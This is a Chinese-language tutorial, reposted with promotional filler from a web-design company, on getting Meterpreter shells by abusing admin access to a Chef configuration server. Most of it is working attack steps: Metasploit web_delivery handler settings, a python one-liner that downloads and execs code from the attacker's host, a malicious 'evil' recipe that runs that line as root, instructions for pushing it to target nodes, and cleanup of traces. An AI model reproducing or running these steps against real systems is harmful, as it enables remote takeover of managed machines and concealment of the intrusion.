小編給大家分享一下怎么獲取Chef服務(wù)器的Meterpreter Shell,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
十余年的山南網(wǎng)站建設(shè)經(jīng)驗(yàn),針對(duì)設(shè)計(jì)、前端、開發(fā)、售后、文案、推廣等六對(duì)一服務(wù),響應(yīng)快,48小時(shí)及時(shí)工作處理。全網(wǎng)整合營銷推廣的優(yōu)勢是能夠根據(jù)用戶設(shè)備顯示端的尺寸不同,自動(dòng)調(diào)整山南建站的顯示方式,使網(wǎng)站能夠適用不同顯示終端,在瀏覽器中調(diào)整網(wǎng)站的寬度,無論在任何一種瀏覽器上瀏覽網(wǎng)站,都能展現(xiàn)優(yōu)雅布局與設(shè)計(jì),從而大程度地提升瀏覽體驗(yàn)。創(chuàng)新互聯(lián)從事“山南網(wǎng)站設(shè)計(jì)”,“山南網(wǎng)站推廣”以來,每個(gè)客戶項(xiàng)目都認(rèn)真落實(shí)執(zhí)行。
主要是想警告使用Chef的朋友,你們的管理員賬戶很可能早已在Chef web interface中泄露。管理員通常無法設(shè)置默認(rèn)管理憑據(jù)。在這種情況下,Chef server主頁將為你提供。
在最近的一次滲透測試中,我成功拿下了一臺(tái)Chef server。然而對(duì)于Chef我并不了解,我使用較多的是Puppet,可以說在系統(tǒng)方面的大部分時(shí)間我都在使用Puppet。由于此前我從未遇到過Chef,因此我需要在最短的時(shí)間內(nèi),找出一個(gè)可以使用Chef基礎(chǔ)架構(gòu)shell一定范圍內(nèi)所有敏感主機(jī)的方法。以下是我的實(shí)行過程。
注意:所有這些很可能都是從命令行執(zhí)行的。我通過Chef web interface獲取了一個(gè)帳戶,并且大部分時(shí)間都花在了GUI上。如果你知道如何在命令行上完成這些操作,你可以通過我的聯(lián)系方式告知我。謝謝!
首先,需要?jiǎng)?chuàng)建一個(gè)新的管理用戶用于上傳cookbooks。如果你手頭已經(jīng)有一個(gè)使用習(xí)慣的管理用戶,那么你可以忽略這一步。
記下創(chuàng)建新管理用戶后界面為你提供的專用RSA密鑰。
如果你還沒有安裝過Chef,那么請(qǐng)?jiān)谀愕墓魴C(jī)上安裝它。出現(xiàn)提示時(shí)請(qǐng)輸入Chef URL。使用Chef server在其SSL證書中的主機(jī)名(不是IP地址或別名/cname),否則最終將導(dǎo)致你可能無法使用knife連接。
apt-get install chef
安裝完成后,配置knife連接到Chef server。確保輸入的URL和用戶名無誤。其他選項(xiàng)你可以設(shè)置為默認(rèn)。
knife configure
將你的私有RSA密鑰寫入~/.chef目錄(.pem文件)中。同時(shí),請(qǐng)確保你已相應(yīng)地配置了你的~/.chef/knife.rb文件。
使用你的私鑰,下載Chef server的證書并驗(yàn)證knife連接是否正常工作。使用以下命令來執(zhí)行此操作。
knife ssl fetch knife ssl check
快速瀏覽可用的cookbooks,確保knife連接正常。
knife cookbook list
現(xiàn)在,你需要?jiǎng)?chuàng)建一個(gè)cookbook和recipe。我使用以下命令來執(zhí)行此操作。但該命令似乎已被棄用,你可以根據(jù)提示來替換該命令。
knife cookbook create evil
接著,我們來啟動(dòng)Metasploit,并創(chuàng)建一個(gè)web-delivery multi-handler。這里我選擇使用的是python multi-handler payload。
use exploit/multi/script/web_delivery set SRVPORT 8080 set SRVHOST 192.168.0.223 set URIPATH 2w9kwS11 set PAYLOAD python/meterpreter/reverse_tcp set LHOST 192.168.0.223 set LPORT 8443 set TARGET 0 run
成功執(zhí)行后,我們將會(huì)獲取到以下輸出結(jié)果:
python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.223:8080/2w9kwS11');exec(r.read());"
填充你的cookbook模板文件。下面所有你需要的都在recipes/default.rb中。
execute "evil_commands" do command "python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.223:8080/2w9kwS11');exec(r.read());\"" user "root" action :run end
填充metadata.rb文件。以下為演示,在實(shí)際操作中請(qǐng)盡量避免使用類似于 'evil' 或 'pwnage' 等字符串。
是時(shí)候把你的Cookbook上傳到服務(wù)器上了。
knife cookbook upload evil
請(qǐng)確認(rèn)你的cookbook現(xiàn)在是否已存在于Chef服務(wù)器中。你可以在命令行或Web界面中執(zhí)行以下操作。
knife cookbook list | grep evil
導(dǎo)航到網(wǎng)站上的“Cookbooks”列表。
將cookbook recipe分配給你想要shell的目標(biāo),并將其添加到每個(gè)節(jié)點(diǎn)的運(yùn)行列表中。 轉(zhuǎn)到節(jié)點(diǎn)列表,單擊你感興趣的節(jié)點(diǎn),單擊Edit。
在左下欄的'Available Recipes'列表中找到你的cookbook recipe,然后將其拖到右上角的 'Run List' 中。點(diǎn)擊底部的 'Save Node'按鈕提交更改。
看!成功獲取到了一個(gè)meterpreter shell。
為了操作的安全性,一旦你成功獲取到了shell連接,請(qǐng)返回到web界面,并從已成功連接的節(jié)點(diǎn)運(yùn)行列表中刪除recipe。你不需要從相同的端點(diǎn)產(chǎn)生多個(gè)shell。
在完成你的任務(wù)后,請(qǐng)務(wù)必清除你與之交互過的系統(tǒng)中存在的任何痕跡。kill你的Meterpreter會(huì)話,刪除你創(chuàng)建的管理用戶以及recipe。你可以通過以下命令完成。
關(guān)閉會(huì)話:
sessions -K
主機(jī)與knife的連接:
knife cookbook delete evil
以上是“怎么獲取Chef服務(wù)器的Meterpreter Shell”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!